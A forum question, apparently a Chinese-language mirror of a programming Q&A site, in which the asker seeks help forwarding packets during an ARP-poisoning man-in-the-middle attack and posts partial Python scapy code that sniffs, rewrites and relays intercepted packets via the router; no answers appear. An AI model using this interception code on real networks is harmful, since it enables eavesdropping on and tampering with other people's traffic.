识别带有欺骗性的数据包以进行ARP中毒重定向时出错

时间:2019-06-12 06:48:01

标签: python scapy

我正在使用我的AR​​P中毒部分尝试执行ARP MiTM攻击。但是,我不知道如何重定向我截获的数据包。我在网上看到的大多数教程要么跳过数据包修改和转发部分,要么通过命令行和wireshark建议使用。是否可以通过纯python(带有外部库)来做到这一点?

我正在使用Mac OS X Mojave。

def handle(pkt):
    logging.debug(pkt.summary())
    try:
        if all((pkt[0].dst == MAC,
                pkt[1].dst != IP,
                pkt[0].src != MAC,
                pkt[1].src != IP
                )):
            npkt = pkt
            npkt[0].dst = ROUTER_MAC
            npkt[0].src = MAC
            # npkt[1].dst = ROUTER
            npkt[1].src = IP
            logging.info("pkt from \n##########  ({}) -> ({})".format((pkt[0].src, pkt[1].src, "to", pkt[0].dst, pkt[1].dst),
                (npkt[0].src, npkt[1].src, "to", npkt[0].dst, npkt[1].dst)))
            for bpkt in srp(npkt, verbose=False):
                fbpkt = bpkt
                fbpkt[0].dst = pkt[0].src
                fbpkt[0].src = MAC
                fbpkt[1].dst = pkt[1].src
                # fbpkt[1].src = ROUTER
            logging.info("pkt from {} redirection success".format((pkt[0].src,pkt[1].src)))
    except AttributeError:
        pass
    except:
        logging.exception("")


if __name__ == "__main__":
    ROUTER = netifaces.gateways()['default'][2][0]
    ROUTER_MAC = sr1(ARP(pdst=ROUTER), verbose=False).hwsrc
    IP = netifaces.ifaddresses('en0')[netifaces.AF_INET][0]["addr"]
    MAC = netifaces.ifaddresses('en0')[netifaces.AF_LINK][0]["addr"]
    VICTIMS = []
    sniff(prn=handle)

0 个答案:

没有答案